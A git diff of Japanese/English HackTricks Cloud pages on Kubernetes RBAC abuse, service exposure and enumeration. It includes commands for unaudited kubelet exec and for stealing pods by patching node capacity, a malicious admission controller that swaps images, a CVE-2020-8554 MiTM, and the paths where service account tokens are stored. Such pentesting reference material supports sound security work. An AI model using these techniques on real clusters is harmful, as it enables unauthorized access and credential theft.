経由のアクセス権があるか**を確認します。\ -> どちらかが当てはまればアクセスが許可されます。どちらも当てはまらない場合は、**GCP IAM 経由での権限付与を示唆するエラー**が返されます。 +> When talking to the K8s api endpoint, the **GCP auth token will be sent**. Then, GCP, through the K8s api endpoint, will first **check if the principal** (by email) **has any access inside the cluster**, then it will check if it has **any access via GCP IAM**.\ +> If **any** of those are **true**, he will be **responded**. If **not** an **error** suggesting to give **permissions via GCP IAM** will be given. Then, the first method is using **GCP IAM**, the K8s permissions have their **equivalent GCP IAM permissions**, and if the principal have it, it will be able to use it. @@ -641,13 +644,13 @@ websocat --insecure \ --protocol "v4.channel.k8s.io" \ "wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id" ``` -- **Node IP** を使用し、node name ではなく。同じリクエストを `curl -X POST` で送ると、`create` にマップされるため **Forbidden** になります。 -- kubelet への直接アクセスは API server をバイパスするため、AuditPolicy には kubelet user agent からの `subjectaccessreviews` のみが表示され、**`pods/exec` はログに残りません**。 -- 影響を受けるサービスアカウントを [detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a) で列挙し、`nodes/proxy` GET に限定されたトークンを見つけてください。 +- **Node IP** を使用し、node name は使わないでください。`curl -X POST` を使った同じ request は `create` にマップされるため **Forbidden** になります。 +- 直接の kubelet access は API server をバイパスするので、AuditPolicy では kubelet user agent からの `subjectaccessreviews` だけが表示され、`pods/exec` command は **ログに記録されません**。 +- [detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a) で影響を受ける service accounts を列挙し、`nodes/proxy` の GET に制限された tokens を見つけます。 -### pods の削除 + ノードを unschedulable にする +### Delete pods + unschedulable nodes -プリンシパルが **pods を削除できる**(`pods` リソースに対する `delete` 動詞)、または **pods を evict できる**(`pods/eviction` リソースに対する `create` 動詞)、または **pod ステータスを変更できる**(`pods/status` へのアクセス)と同時に **他の nodes を unschedulable にできる**(`nodes/status` へのアクセス)か **nodes を削除できる**(`nodes` リソースに対する `delete` 動詞)権限を持ち、かつある pod を制御できる場合、他の nodes から **pods を盗用して**それらを侵害された node 上で**実行**させ、攻撃者がそれらの pods からトークンを**盗む**可能性があります。 +**pods を delete** できる principal(`pods` resource に対する `delete` verb)、または **pods を evict** できる principal(`pods/eviction` resource に対する `create` verb)、または **pod status を change** できる principal(`pods/status` への access)で、さらに **他の nodes を unschedulable に make** できる(`nodes/status` への access)か **nodes を delete** できる(`nodes` resource に対する `delete` verb)、かつ pod を control している場合、**他の nodes から pods を steal** して、それらを **compromised** な **node** 上で **executed** させることができ、attacker はそれらの pods から tokens を **steal** できます。 ```bash patch_node_capacity(){ curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]' @@ -658,43 +661,43 @@ while true; do patch_node_capacity ; done & kubectl delete pods -n kube-system ``` -### サービスのステータス (CVE-2020-8554) +### Services status (CVE-2020-8554) -`services/status` を**変更できる**主体は、`status.loadBalancer.ingress.ip` フィールドを設定して未修正の CVE-2020-8554 を悪用し、クラスターに対して **MiTM 攻撃** を仕掛ける可能性があります。CVE-2020-8554 に対するほとんどの緩和策は ExternalIP services のみを防ぐにとどまります([**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego) による)。 +`services/status` を **modify** できる Principals は、`status.loadBalancer.ingress.ip` フィールドを設定して、**未修正の CVE-2020-8554** を悪用し、cluster に対して **MiTM attacks** を実行できます。CVE-2020-8554 に対する多くの mitigations は ExternalIP services のみを防ぎます([**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego) 参照)。 -### ノードと Pod のステータス +### Nodes and Pods status -`nodes/status` または `pods/status` に対して **`update`** または **`patch`** 権限を持つ主体は、スケジューリング制約に影響するラベルを変更することができます。 +`nodes/status` または `pods/status` に対して **update** または **patch** 権限を持つ Principals は、labels を変更して、強制される scheduling constraints に影響を与えられます。 -## 組み込みの特権昇格防止機構 +## Built-in Privileged Escalation Prevention -Kubernetes には権限昇格を防ぐための [built-in mechanism](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) があります。 +Kubernetes には、privilege escalation を防ぐための [built-in mechanism](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) があります。 -この仕組みによって、**ユーザーが roles や role bindings を変更して権限を昇格させることができない**ように保証されます。この規則の適用は API レベルで行われるため、RBAC authorizer が無効でも保護が働きます。 +このシステムは、**users cannot elevate their privileges by modifying roles or role bindings** ことを保証します。このルールの enforcement は API level で行われ、RBAC authorizer が inactive の場合でも safeguard を提供します。 -このルールは、**ユーザーがそのロールに含まれるすべての権限を所有している場合にのみロールを作成または更新できる**と定めています。さらに、ユーザーの既存の権限のスコープは、作成または変更しようとするロールのスコープと一致している必要があります:ClusterRoles ならクラスター全体、Roles なら同じ namespace 内(またはクラスター全体)に限定されます。 +このルールでは、**user can only create or update a role if they possess all the permissions the role comprises** とされています。さらに、user の既存の permissions の scope は、作成または変更しようとしている role の scope と一致している必要があります。つまり、ClusterRoles なら cluster-wide、Roles なら同じ namespace(または cluster-wide)に限定されます。 > [!WARNING] -> 前述のルールには例外があります。主体が **`roles`** または **`clusterroles`** に対して **動詞 `escalate`** の権限を持っている場合、本人がその権限を持っていなくても roles や clusterroles の権限を増やすことができます。 +> 前のルールには例外があります。Principals が **verb `escalate`** を **`roles`** または **`clusterroles`** に対して持っている場合、本人がその permissions を持っていなくても roles と clusterroles の privileges を増やせます。 -### **RoleBindings/ClusterRoleBindings の取得とパッチ** +### **Get & Patch RoleBindings/ClusterRoleBindings** > [!CAUTION] -> **一見この手法は以前は動作していたようですが、私のテストでは前節と同じ理由により現在はもう動作しません。既に持っていない権限を自分や別の SA に与えるために rolebinding を作成/変更することはできません。** +> **どうやらこの technique は以前は動いていましたが、私の tests によると、前の section で説明したのと同じ理由で、もはや動きません。自分自身や別の SA に privileges を与えるために rolebinding を create/modify することは、すでにその privileges を持っていない限りできません。** -Rolebinding を作成する権限があれば、ユーザーは roles を service account にバインドできます。この権限は、ユーザーが侵害された service account に admin privileges をバインドできるため、特権昇格につながる可能性があります。 +Rolebindings を create する privilege により、user は **roles を service account に bind できます**。この privilege は、**compromised service account に admin privileges を bind できる**ため、privilege escalation につながる可能性があります。 -## その他の攻撃 +## Other Attacks -### Sidecar proxy アプリ +### Sidecar proxy app -デフォルトでは pods 間の通信は暗号化されていません。相互認証(双方向、pod 間)は行われていません。 +デフォルトでは、pods 間の通信に encryption はありません。Mutual authentication、双方向、pod to pod。 -#### Sidecar proxy アプリの作成 +#### Create a sidecar proxy app -Sidecar コンテナは、単に pod の内部に**2 番目(またはそれ以上)のコンテナを追加する**ことから成ります。 +sidecar container とは、単に **pod 内に 2 つ目(またはそれ以上)の container を追加すること**です。 -例えば、以下は 2 つのコンテナを持つ pod の設定の一部です: +たとえば、次は 2 つの containers を持つ pod の configuration の一部です。 ```yaml spec: containers: @@ -704,15 +707,15 @@ image: nginx image: busybox command: ["sh","-c",""] ``` -例えば、既存の pod に新しい container で backdoor を仕掛けるには、specification に新しい container を追加するだけでよい。注意として、2番目の container に最初のものが持たないような権限を**より多く与える**ことができる点がある。 +例えば、既存の pod に新しい container を使って backdoor を仕込むには、仕様に新しい container を追加するだけでよい。2つ目の container には、1つ目にはない **より多くの権限を与えられる** ことに注意。 -詳しくは: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) +詳細はこちら: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) -### 悪意のある Admission Controller +### Malicious Admission Controller -An admission controller は、リクエストが**認証され**および**認可された**後、オブジェクトの永続化が行われる前に、**Kubernetes API server へのリクエストを傍受する**。 +admission controller は、オブジェクトの永続化の前に、しかし **リクエストが認証された後** かつ **認可された後** に、**Kubernetes API server へのリクエストをインターセプト** する。 -もし攻撃者が何らかの方法で **inject a Mutation Admission Controller** できれば、既に認証されたリクエストを**変更する**ことが可能になる。これにより privesc が発生する可能性があり、より一般的にはクラスタ内に永続化することができる。 +攻撃者が何らかの方法で **Mutation Admission Controller を注入** できれば、**すでに認証済みのリクエストを変更** できるようになる。これにより、潜在的に privesc が可能になり、さらに一般的には cluster 内に persist できる。 **Example from** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers): ```bash @@ -721,30 +724,30 @@ cd malicious-admission-controller-webhook-demo ./deploy.sh kubectl get po -n webhook-demo -w ``` -準備できているかどうか、ステータスを確認してください: +状態を確認して、準備ができているか見てください: ```bash kubectl get mutatingwebhookconfigurations kubectl get deploy,svc -n webhook-demo ``` ![mutating-webhook-status-check.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433436353/yHUvUWugR.png?auto=compress,format&format=webp) -次に新しい pod をデプロイします: +次に、新しい pod を deploy する: ```bash kubectl run nginx --image nginx kubectl get po -w ``` -`ErrImagePull` エラーが表示される場合は、次のいずれかのクエリでイメージ名を確認してください: +`ErrImagePull` エラーが見える場合は、以下のいずれかのクエリで image 名を確認してください: ```bash kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}' kubectl describe po nginx | grep "Image: " ``` ![malicious-admission-controller.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433512073/leFXtgSzm.png?auto=compress,format&format=webp) -上の画像にあるように、イメージ `nginx` を実行しようとしましたが、実際に実行されたのは `rewanthtammana/malicious-image` でした。これは一体何が起きたのでしょうか? +上の画像で見られるように、image `nginx` を実行しようとしたのに、最終的に実行された image は `rewanthtammana/malicious-image` でした。いったい何が起きたのでしょうか!!? -#### 技術的な詳細 +#### Technicalities -The `./deploy.sh` script establishes a mutating webhook admission controller, which modifies requests to the Kubernetes API as specified in its configuration lines, influencing the outcomes observed: +`./deploy.sh` スクリプトは mutating webhook admission controller を作成し、その設定行に従って Kubernetes API への request を変更します。これにより、観測された結果に影響を与えます: ``` patches = append(patches, patchOperation{ Op: "replace", @@ -752,7 +755,7 @@ Path: "/spec/containers/0/image", Value: "rewanthtammana/malicious-image", }) ``` -上のスニペットは、すべての pod の最初のコンテナイメージを `rewanthtammana/malicious-image` に置き換えます。 +上のスニペットは、すべての pod の最初の container image を `rewanthtammana/malicious-image` に置き換えます。 ## OPA Gatekeeper bypass @@ -760,22 +763,22 @@ Value: "rewanthtammana/malicious-image", ../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md {{#endref}} -## ベストプラクティス +## Best Practices -### **Service Account Tokens の自動マウントを無効化する** +### **Service Account Tokens の Automount を無効化する** -- **Pods and Service Accounts**: デフォルトでは、pods は service account token をマウントします。セキュリティ強化のため、Kubernetes はこの自動マウント機能を無効化できます。 -- **How to Apply**: Kubernetes バージョン 1.6 以降、service account または pod の設定で `automountServiceAccountToken: false` を設定します。 +- **Pods and Service Accounts**: デフォルトでは、pod は service account token を mount します。セキュリティを強化するため、Kubernetes ではこの automount 機能を無効化できます。 +- **How to Apply**: Kubernetes version 1.6 以降では、service accounts または pods の設定で `automountServiceAccountToken: false` を設定します。 -### **RoleBindings/ClusterRoleBindings における制限的なユーザー割り当て** +### **RoleBindings/ClusterRoleBindings における制限的な User Assignment** -- **Selective Inclusion**: RoleBindings や ClusterRoleBindings に必要なユーザーだけが含まれるようにしてください。定期的に監査し、不要なユーザーを削除して厳格なセキュリティを維持します。 +- **Selective Inclusion**: RoleBindings または ClusterRoleBindings に必要な users のみを含めるようにしてください。定期的に audit して不要な users を削除し、厳格な security を維持します。 -### **Namespace 固有の Roles を優先し、Cluster 全体の Roles を避ける** +### **Cluster-Wide Roles より Namespace-Specific Roles を使う** -- **Roles vs. ClusterRoles**: Namespace 固有の権限には、クラスタ全体に適用される ClusterRoles や ClusterRoleBindings ではなく、Roles と RoleBindings を使用することを推奨します。このアプローチはより細かい制御を提供し、権限の範囲を制限します。 +- **Roles vs. ClusterRoles**: cluster-wide に適用される ClusterRoles と ClusterRoleBindings よりも、namespace-specific permissions には Roles と RoleBindings を使うことを推奨します。この方法は、より細かい control を提供し、permissions の scope を制限します。 -### **自動化ツールを使用する** +### **自動化ツールを使う** {{#ref}} https://github.com/cyberark/KubiScan @@ -789,7 +792,7 @@ https://github.com/aquasecurity/kube-hunter https://github.com/aquasecurity/kube-bench {{#endref}} -## **参考資料** +## **References** - [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions) - [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1) diff --git a/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md b/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md index 77068d1eb..8ca9e99bf 100644 --- a/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md +++ b/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md @@ -1,12 +1,12 @@ -# Kubernetesにおけるサービスの公開 +# Exposing Services in Kubernetes {{#include ../../banners/hacktricks-training.md}} -Kubernetesには、**内部**エンドポイントと**外部**エンドポイントの両方がアクセスできるようにサービスを公開する**さまざまな方法**があります。このKubernetesの設定は非常に重要であり、管理者が**攻撃者にアクセスしてはいけないサービスへのアクセスを与える**可能性があります。 +Kubernetes では、サービスを公開するための**さまざまな方法**があり、**内部**エンドポイントと**外部**エンドポイントの両方からアクセスできます。この Kubernetes の設定はかなり重要で、管理者が**本来アクセスできないはずのサービスへのアクセスを attackers に与えてしまう**可能性があります。 -### 自動列挙 +### Automatic Enumeration -K8sがサービスを公開する方法を列挙する前に、名前空間、サービス、イングレスをリストできる場合、次のコマンドを使用して公開されているすべてのものを見つけることができることを知っておいてください: +K8s がサービスを public に expose する方法を列挙し始める前に、namespace、services、ingresses を list できるなら、public に expose されているものをすべて次の方法で見つけられることを知っておいてください: ```bash kubectl get namespace -o custom-columns='NAME:.metadata.name' | grep -v NAME | while IFS='' read -r ns; do echo "Namespace: $ns" @@ -20,21 +20,21 @@ done | grep -v "ClusterIP" ``` ### ClusterIP -**ClusterIP** サービスは、**デフォルト** の Kubernetes **サービス** です。これは、クラスター内の他のアプリがアクセスできる **クラスター内のサービス** を提供します。**外部アクセス** はありません。 +**ClusterIP** service は、Kubernetes の **default** **service** です。これは、cluster 内の他の app からアクセスできる **cluster 内の service** を提供します。**external access** はありません。 -しかし、これは Kubernetes プロキシを使用してアクセスできます: +ただし、Kubernetes Proxy を使用してアクセスできます: ```bash kubectl proxy --port=8080 ``` -今、次のスキームを使用してKubernetes APIを介してサービスにアクセスできます: +現在、このスキームを使ってKubernetes APIをたどり、servicesにアクセスできます。 `http://localhost:8080/api/v1/proxy/namespaces//services/:/` -例えば、次のURLを使用できます: +たとえば、次のURLを使えます。 `http://localhost:8080/api/v1/proxy/namespaces/default/services/my-internal-service:http/` -このサービスにアクセスするために: +この service にアクセスするためです: ```yaml apiVersion: v1 kind: Service @@ -50,21 +50,21 @@ port: 80 targetPort: 80 protocol: TCP ``` -_この方法では、**認証されたユーザー**として `kubectl` を実行する必要があります。_ +_この方法では、`kubectl` を **認証済みユーザー** として実行する必要があります。_ -ClusterIPの一覧を表示します: +すべての ClusterIP を一覧表示します: ```bash kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep ClusterIP ``` ### NodePort -**NodePort**が利用されると、すべてのノード(仮想マシンを表す)で指定されたポートが利用可能になります。この特定のポートに向けられた**トラフィック**は、体系的に**サービスにルーティング**されます。通常、この方法は欠点があるため推奨されません。 +**NodePort** が利用されると、指定されたポートがすべての Nodes(Virtual Machines を表す)で利用可能になります。特定のポート宛ての **Traffic** は、その後体系的に **service にルーティング** されます。通常、この方法は欠点があるため推奨されません。 -すべてのNodePortをリストします: +すべての NodePorts を一覧表示: ```bash kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep NodePort ``` -NodePort仕様の例: +NodePort 仕様の例: ```yaml apiVersion: v1 kind: Service @@ -81,28 +81,30 @@ targetPort: 80 nodePort: 30036 protocol: TCP ``` -もしyamlで**nodePort**を**指定しない**場合(開かれるポートです)、**30000–32767の範囲内のポートが使用されます**。 +yaml内で**nodePort**を指定しない**場合**(これは開放されるポートです)、**30000–32767**の範囲のポートが使われます。 -### LoadBalancer +### LoadBalancer -**クラウドプロバイダーのロードバランサーを使用して**サービスを外部に公開します。GKEでは、[Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/)が起動され、サービスへのすべてのトラフィックを転送する単一のIPアドレスが提供されます。AWSでは、ロードバランサーが起動されます。 +Serviceを外部に**cloud providerのload balancerを使用して**公開します。GKEでは、これにより[Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/)が起動し、すべてのトラフィックをServiceに転送する単一のIP addressが提供されます。AWSではLoad Balancerが起動します。 -公開されたサービスごとにロードバランサーの料金が発生し、高額になる可能性があります。 +公開された各ServiceごとにLoadBalancerの料金を支払う必要があり、これは高額になることがあります。 -すべてのロードバランサーをリストします: +すべてのLoadBalancersを一覧表示します: ```bash kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,EXTERNAL-IP:.status.loadBalancer.ingress[*],PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep LoadBalancer ``` -### External IPs +### External IPs > [!TIP] -> 外部IPは、Load Balancerタイプのサービスによって公開され、一般的に外部Cloud Provider Load Balancerが使用されるときに使用されます。 +> External IPs は、Load Balancers タイプの services によって exposed され、一般的には external Cloud Provider Load Balancer が使われている場合に使われます。 > -> それらを見つけるには、`EXTERNAL-IP`フィールドに値があるロードバランサーを確認してください。 +> 見つけるには、`EXTERNAL-IP` フィールドに値がある load balancers を確認してください。 -クラスターに入るトラフィックが**外部IP**(**宛先IP**)で、サービスポートである場合、**サービスエンドポイントの1つにルーティングされます**。`externalIPs`はKubernetesによって管理されず、クラスター管理者の責任です。 +**external IP**(**destination IP**)として cluster に ingress する traffic は、Service port 上で **Service endpoints のいずれかへ routed** されます。`externalIPs` は Kubernetes によって managed されず、cluster administrator の責任です。 -サービス仕様では、`externalIPs`は任意の`ServiceTypes`と共に指定できます。以下の例では、"`my-service`"はクライアントによって"`80.11.12.10:80`"(`externalIP:port`)でアクセスできます。 +`externalIPs` は sensitive な route-control field です。なぜなら、それを設定できる user は、周囲の network がその IP を cluster に route している場合、Service owner が control すべきではない IP address への traffic を claim できてしまうからです。Kubernetes は v1.36 で Service `externalIPs` の deprecation と planned removal を announced しているため、可能なら LoadBalancer integrations や Gateway API のような controller-owned の exposure mechanism を優先し、まだ存在している間もこの field は慎重に restrict/admit してください。 + +Service spec では、`externalIPs` は任意の `ServiceTypes` とあわせて指定できます。下の example では、"`my-service`" は "`80.11.12.10:80`" (`externalIP:port`) 上の clients から access できます。 ```yaml apiVersion: v1 kind: Service @@ -121,9 +123,9 @@ externalIPs: ``` ### ExternalName -[**From the docs:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) ExternalNameタイプのサービスは、**サービスをDNS名にマッピングします**。`my-service`や`cassandra`のような典型的なセレクタにはマッピングしません。これらのサービスは`spec.externalName`パラメータで指定します。 +[**ドキュメントより:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) ExternalName 型の Services は、通常の selector である `my-service` や `cassandra` ではなく、**Service を DNS 名にマップ**します。これらの Services は `spec.externalName` パラメータで指定します。 -このサービス定義は、例えば、`prod`ネームスペースの`my-service`サービスを`my.database.example.com`にマッピングします: +例えば、この Service 定義は、`prod` namespace の `my-service` Service を `my.database.example.com` にマップします: ```yaml apiVersion: v1 kind: Service @@ -134,56 +136,95 @@ spec: type: ExternalName externalName: my.database.example.com ``` -`my-service.prod.svc.cluster.local`というホストを調べると、クラスターDNSサービスは値`my.database.example.com`を持つ`CNAME`レコードを返します。`my-service`へのアクセスは他のサービスと同様に機能しますが、重要な違いは**リダイレクションがDNSレベルで行われる**ということです。 +ホスト `my-service.prod.svc.cluster.local` を参照すると、cluster DNS Service は値 `my.database.example.com` の `CNAME` レコードを返します。`my-service` へのアクセスは他の Services と同じように動作しますが、重要な違いとして、**redirection は proxying や forwarding ではなく DNS レベルで発生する** ことです。 -すべてのExternalNamesをリストします: +すべての ExternalNames を一覧表示します: ```bash kubectl get services --all-namespaces | grep ExternalName ``` +### EndpointSlices + +EndpointSlices は、Service が現在ルーティングしている具体的な backend のアドレスと port を示します。Service に selector がない場合、label だけでは traffic の経路が分からない場合、または一部の backend だけが ready な場合に特に有用です。 + +Services に関連付けられた EndpointSlices を一覧表示します: +```bash +kubectl get endpointslices --all-namespaces +kubectl get endpointslice -n -l kubernetes.io/service-name= -o yaml +kubectl get endpointslice -n -l kubernetes.io/service-name= \ +-o custom-columns='NAME:.metadata.name,ADDR:.endpoints[*].addresses,READY:.endpoints[*].conditions.ready,PORTS:.ports[*].port' +``` +露出をレビューする際は、Service selector と EndpointSlice の `targetRef`、endpoint addresses、readiness conditions、ports を比較してください。selector のない Service は、手動で管理された EndpointSlices と組み合わせることができ、トラフィックを non-Pod や予期しない宛先へルーティングできます。 + ### Ingress -上記のすべての例とは異なり、**Ingressはサービスの一種ではありません**。代わりに、**複数のサービスの前に位置し、「スマートルーター」として機能します**、またはクラスターへのエントリーポイントです。 +上記の例とは異なり、**Ingress は service の種類ではありません**。その代わり、**複数の services の前段に置かれ、cluster への “smart router”** またはエントリポイントとして機能します。 -Ingressを使用すると、さまざまなことができます。また、**異なる機能を持つ多くのタイプのIngressコントローラーがあります**。 +Ingress ではさまざまなことができますし、**異なる機能を持つ多くの種類の Ingress controllers** があります。 -デフォルトのGKE Ingressコントローラーは、[HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/)を自動的に作成します。これにより、パスベースおよびサブドメインベースのルーティングをバックエンドサービスに対して行うことができます。たとえば、foo.yourdomain.comのすべてをfooサービスに送信し、yourdomain.com/bar/パスの下のすべてをbarサービスに送信できます。 +デフォルトの GKE ingress controller は、[HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) を自動で立ち上げます。これにより、path ベースと subdomain ベースの両方で backend services への routing が可能になります。たとえば、foo.yourdomain.com 上のすべてを foo service に送り、yourdomain.com/bar/ path 配下のすべてを bar service に送ることができます。 -GKE上の[L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/)を使用したIngressオブジェクトのYAMLは次のようになります: +GKE 上の [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) を使った Ingress object の YAML は、次のようになるかもしれません: ```yaml -apiVersion: extensions/v1beta1 +apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: my-ingress spec: -backend: -serviceName: other -servicePort: 8080 +defaultBackend: +service: +name: other +port: +number: 8080 rules: - host: foo.mydomain.com http: paths: -- backend: -serviceName: foo -servicePort: 8080 +- path: / +pathType: Prefix +backend: +service: +name: foo +port: +number: 8080 - host: mydomain.com http: paths: -- path: /bar/* +- path: /bar +pathType: Prefix backend: -serviceName: bar -servicePort: 8080 +service: +name: bar +port: +number: 8080 ``` -すべてのイングレスをリストします: +すべての ingress を一覧表示します: ```bash kubectl get ingresses --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,RULES:spec.rules[*],STATUS:status' ``` -この場合、各情報を一つずつ取得して、より良く読む方が良いです: +とはいえ、この場合は各項目の情報を1つずつ取得して、より読みやすくするほうがよいです: ```bash kubectl get ingresses --all-namespaces -o=yaml ``` -### 参考文献 +### Gateway API + +Gateway API は、Services を公開するための新しい Kubernetes API です。インフラ所有の Gateway objects と、HTTPRoute のようなアプリケーション所有の Route objects を分離します。これは delegation に有用ですが、露出が namespaces をまたいで分割される可能性も意味します。 + +Gateway API exposure objects を列挙します: +```bash +kubectl get gatewayclasses +kubectl get gateways --all-namespaces +kubectl get httproutes --all-namespaces +kubectl get gateway -n -o yaml +kubectl get httproute -n -o yaml +``` +Gateway listeners、許可された route namespaces、Route の `parentRefs`、hostnames、filters、backend references、そして Route が accepted されたかどうかなどの status conditions を確認してください。共有 Gateway によって accepted された Route は、legacy Ingress object が存在しなくても backend を expose できる場合があります。 + +### References - [https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0](https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0) - [https://kubernetes.io/docs/concepts/services-networking/service/](https://kubernetes.io/docs/concepts/services-networking/service/) +- [https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/](https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/) +- [https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/](https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/) +- [https://gateway-api.sigs.k8s.io/](https://gateway-api.sigs.k8s.io/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md index 99d18013b..0932b1752 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md @@ -4,86 +4,86 @@ ## Kubernetes Tokens -もしあなたがマシンへのアクセスを侵害した場合、ユーザーはKubernetesプラットフォームにアクセスできるかもしれません。トークンは通常、**env var `KUBECONFIG`**で指し示されるファイルか、**`~/.kube`**の中にあります。 +If you have compromised access to a machine the user may have access to some Kubernetes platform. The token is usually located in a file pointed by the **env var `KUBECONFIG`** or **inside `~/.kube`**. -このフォルダには、**APIサーバーに接続するためのトークンと設定を含む設定ファイル**が見つかるかもしれません。このフォルダには、以前に取得した情報を含むキャッシュフォルダもあります。 +In this folder you might find config files with **tokens and configurations to connect to the API server**. In this folder you can also find a cache folder with information previously retrieved. -Kubernetes環境内のポッドを侵害した場合、トークンや現在のK8環境に関する情報を見つけることができる他の場所があります。 +If you have compromised a pod inside a kubernetes environment, there are other places where you can find tokens and information about the current K8 env: ### Service Account Tokens -続ける前に、Kubernetesにおけるサービスが何であるか知らない場合は、**このリンクをフォローしてKubernetesアーキテクチャに関する情報を少なくとも読むことをお勧めします。** +Before continuing, if you don't know what is a service in Kubernetes I would suggest you to **follow this link and read at least the information about Kubernetes architecture.** -Kubernetesの[ドキュメント](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server)からの引用: +Taken from the Kubernetes [documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server): -_「ポッドを作成する際、サービスアカウントを指定しない場合、同じ名前空間内のデフォルトサービスアカウントが自動的に割り当てられます。」_ +_“When you create a pod, if you do not specify a service account, it is automatically assigned the_ default _service account in the same namespace.”_ -**ServiceAccount**はKubernetesによって管理されるオブジェクトで、ポッド内で実行されるプロセスにアイデンティティを提供するために使用されます。\ -すべてのサービスアカウントにはそれに関連するシークレットがあり、このシークレットにはベアラートークンが含まれています。これはJSON Web Token(JWT)であり、2者間での主張を安全に表現する方法です。 +**ServiceAccount** is an object managed by Kubernetes and used to provide an identity for processes that run in a pod.\ +Every service account has a secret related to it and this secret contains a bearer token. This is a JSON Web Token (JWT), a method for representing claims securely between two parties. -通常、次のディレクトリの**1つ**に含まれています: +Usually **one** of the directories: - `/run/secrets/kubernetes.io/serviceaccount` - `/var/run/secrets/kubernetes.io/serviceaccount` - `/secrets/kubernetes.io/serviceaccount` -含まれるファイル: +contain the files: -- **ca.crt**: Kubernetes通信を確認するためのCA証明書です -- **namespace**: 現在の名前空間を示します -- **token**: 現在のポッドの**サービストークン**が含まれています。 +- **ca.crt**: It's the ca certificate to check kubernetes communications +- **namespace**: It indicates the current namespace +- **token**: It contains the **service token** of the current pod. -トークンを取得したので、環境変数**`KUBECONFIG`**内でAPIサーバーを見つけることができます。詳細については、`(env | set) | grep -i "kuber|kube"`**`"`**を実行してください。 +Now that you have the token, you can find the API server inside the environment variable **`KUBECONFIG`**. For more info run `(env | set) | grep -i "kuber|kube`**`"`** -サービスアカウントトークンは、ファイル**sa.key**に存在するキーによって署名され、**sa.pub**によって検証されます。 +The service account token is being signed by the key residing in the file **sa.key** and validated by **sa.pub**. -**Kubernetes**のデフォルトの場所: +Default location on **Kubernetes**: - /etc/kubernetes/pki -**Minikube**のデフォルトの場所: +Default location on **Minikube**: - /var/lib/localkube/certs ### Hot Pods -_**Hot podsは**_ 